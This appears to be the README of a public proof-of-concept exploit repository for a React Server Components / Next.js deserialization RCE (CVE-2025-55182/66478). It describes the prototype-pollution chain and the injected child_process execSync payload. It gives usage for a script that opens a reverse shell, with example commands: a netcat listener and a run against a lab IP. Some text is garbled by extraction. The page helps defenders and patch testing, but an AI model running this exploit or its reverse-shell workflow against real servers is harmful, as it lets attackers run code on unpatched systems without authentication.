jotaespig/cve-2025-66478-poc-reverse-shellProof-of-concept exploit for CVE-2025-55182/66478, a React Server Components deserialization RCE, delivering a reverse shell via crafted multipart request.
Proof-of-concept exploit for CVE-2025-55182 — publicly nicknamed
"React2Shell" — a server-side prototype pollution vulnerability in
React Server Components' Server Actions deserialization
(react-server-dom-webpack / -parcel / -turbopack), which Next.js
tracked under the ID CVE-2025-66478 (rejected by NVD as a duplicate,
but still the identifier commonly used when discussing the bug's impact
on Next.js specifically).
A single crafted multipart HTTP request pollutes Object.prototype and
walks the prototype chain to reach the Function constructor, letting an
unauthenticated attacker run arbitrary Node.js code in the server
process — CVSS 10/10.
Root cause. The RSC action-reply deserializer (requireModule)
resolves object paths sent by the client (e.g. )
without validating that the target key isn't a reserved/dangerous one
like . Setting on a plain object pollutes
itself, so every object created afterwards inherits
the attacker-controlled property.
"$1:__proto__:then"__proto____proto__Object.prototypeExploitation chain.
then → "$1:__proto__:then" — reach into the prototype chain._response._formData.get → "$1:constructor:constructor" — walk
from the polluted prototype to the Function constructor._response._prefix — attacker-controlled string, spliced into code
that gets executed when the server tries to resolve the fabricated
"thenable" (a fake Promise-like object). This PoC sets it to
process.mainModule.require('child_process').execSync('<cmd>').0, 1) in a
POST to the app root with a Next-Action header, which routes
the request straight into the vulnerable Server Actions handler.Affected versions (per the Datadog write-up):
| Library | Vulnerable | Patched |
|---|---|---|
react-server-dom-parcel | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-webpack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-turbopack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
Next.js is affected on 15.x, 16.x, and 14.3.0-canary.77+ when using the App Router. Patched in 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, and 16.0.7.
For authorized security testing and educational use only (e.g. CTF/HTB labs, your own infrastructure, or engagements with written authorization). Do not run this against systems you don't own or don't have explicit permission to test.
curlbashnc -lvnp <port>) unless you
supply your own command via -cbusybox nc (or adjust -c to whatever shell utility
is available on the target) for the default reverse-shell command to
workchmod +x exploit.sh
./exploit.sh -t <target> -L <lport> [options]
| Flag | Required | Description |
|---|---|---|
-t, --target | yes | Target host/IP running the vulnerable Next.js app |
-L, --lport | yes* | Local port your listener is bound to |
-p, --port | no | Target port (default: 3000) |
-l, --lhost | no | Your IP for the callback (default: auto-detected) |
-i, --iface | no | Interface to auto-detect --lhost from |
-c, --command | no | Custom command to run on target (overrides the default reverse shell) |
--timeout | no | curl request timeout in seconds (default: 3) |
-v, --verbose | no | Print request/response details |
-h, --help | no | Show help |
* not required if -c/--command is supplied instead.
# 1) start a listener
rlwrap nc -lvnp 9090
# 2) trigger the exploit
./exploit.sh -t 10.129.245.214 -L 9090